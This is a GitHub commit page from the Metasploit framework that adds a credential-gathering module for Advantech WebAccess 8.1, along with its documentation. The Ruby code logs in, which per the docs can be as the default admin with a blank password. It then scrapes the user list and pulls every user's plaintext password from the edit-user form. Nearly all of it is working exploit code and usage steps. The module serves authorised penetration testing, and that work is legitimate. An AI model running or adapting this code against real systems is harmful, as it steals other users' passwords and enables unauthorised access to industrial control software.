Skip to content

Commit f846535

Browse files
committed
Land rapid7#7876 which adds an Advantech Webaccess credential gatherer
2 parents 07694b9 + fd6a58a commit f846535

File tree

2 files changed

+222
-0
lines changed

2 files changed

+222
-0
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Description
2+
3+
This module exploits three vulnerabilities in Advantech WebAccess.
4+
5+
The first vulnerability is the ability for an arbitrary user to access the admin user list page,
6+
revealing the username of every user on the system.
7+
8+
The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
9+
the data of an arbitrary user.
10+
11+
The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
12+
plain text password in the masked password input box. Typically the system should replace the
13+
actual password with a masked character such as "*".
14+
15+
16+
## Vulnerable Application
17+
18+
Version 8.1 was tested during development:
19+
20+
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
21+
22+
8.2 is not vulnerable to this.
23+
24+
## Verification Steps
25+
26+
1. Start msfconsole
27+
2. ```use auxiliary/gahter/advantech_webaccess_creds```
28+
3. ```set WEBACCESSUSER [USER]```
29+
4. ```set WEBACCESSPASS [PASS]```
30+
5. ```run```
31+
32+
## Options
33+
34+
**WEBACCESSUSER**
35+
36+
The username to use to log into Advantech WebAccess. By default, there is a built-in account
37+
```admin``` that you could use.
38+
39+
**WEBACCESSPASS**
40+
41+
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
42+
does not have a password, which could be something you can use.
43+
44+
45+
## Demo
46+
47+
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
15+
'Description' => %q{
16+
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
17+
Although authentication is required, any level of user permission can exploit this vulnerability.
18+
19+
Note that 8.2 is not suitable for this.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
25+
'sinn3r', # Metasploit module
26+
],
27+
'References' =>
28+
[
29+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
30+
],
31+
'DisclosureDate' => "Jan 21 2017"
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
37+
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
38+
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
39+
], self.class)
40+
end
41+
42+
def do_login
43+
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
44+
45+
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
46+
47+
res = send_request_cgi({
48+
'method' => 'POST',
49+
'uri' => uri,
50+
'vars_post' => {
51+
'page' => '/',
52+
'pos' => '',
53+
'username' => datastore['WEBACCESSUSER'],
54+
'password' => datastore['WEBACCESSPASS'],
55+
'remMe' => '',
56+
'submit1' => 'Login'
57+
}
58+
})
59+
60+
unless res
61+
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
62+
end
63+
64+
if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
65+
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
66+
report_cred(
67+
user: datastore['WEBACCESSUSER'],
68+
password: datastore['WEBACCESSPASS'],
69+
status: Metasploit::Model::Login::Status::SUCCESSFUL
70+
)
71+
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
72+
end
73+
74+
print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
75+
76+
nil
77+
end
78+
79+
def get_user_cred_detail(sid, user)
80+
vprint_status("Gathering password for user: #{user}")
81+
82+
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
83+
84+
res = send_request_cgi({
85+
'method' => 'GET',
86+
'uri' => uri,
87+
'cookie' => sid,
88+
'vars_get' => {
89+
'uname' => user
90+
}
91+
})
92+
93+
unless res
94+
print_error("Unable to gather password for user #{user} due to a connection timeout")
95+
return nil
96+
end
97+
98+
html = res.get_html_document
99+
pass_field = html.at('input[@name="Password"]')
100+
101+
pass_field ? pass_field.attributes['value'].text : nil
102+
end
103+
104+
def get_users_page(sid)
105+
vprint_status("Checking user page...")
106+
107+
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
108+
109+
res = send_request_cgi({
110+
'method' => 'GET',
111+
'uri' => uri,
112+
'cookie' => sid
113+
})
114+
115+
unless res
116+
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
117+
end
118+
119+
html = res.get_html_document
120+
121+
users = html.search('a').map { |a|
122+
Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
123+
}.delete_if { |user| user.blank? }
124+
125+
users
126+
end
127+
128+
def report_cred(opts)
129+
service_data = {
130+
address: rhost,
131+
port: rport,
132+
service_name: 'webaccess',
133+
protocol: 'tcp',
134+
workspace_id: myworkspace_id
135+
}
136+
137+
credential_data = {
138+
origin_type: :service,
139+
module_fullname: fullname,
140+
username: opts[:user],
141+
private_data: opts[:password],
142+
private_type: :password
143+
}.merge(service_data)
144+
145+
login_data = {
146+
last_attempted_at: DateTime.now,
147+
core: create_credential(credential_data),
148+
status: opts[:status],
149+
proof: opts[:proof]
150+
}.merge(service_data)
151+
152+
create_credential_login(login_data)
153+
end
154+
155+
def run
156+
cookie = do_login
157+
users = get_users_page(cookie)
158+
159+
users.each do |user|
160+
pass = get_user_cred_detail(cookie, user)
161+
162+
if pass
163+
report_cred(
164+
user: user,
165+
password: pass,
166+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
167+
proof: 'AdminPg.asp'
168+
)
169+
170+
print_good("Found password: #{user}:#{pass}")
171+
end
172+
end
173+
end
174+
175+
end

0 commit comments

Comments
 (0)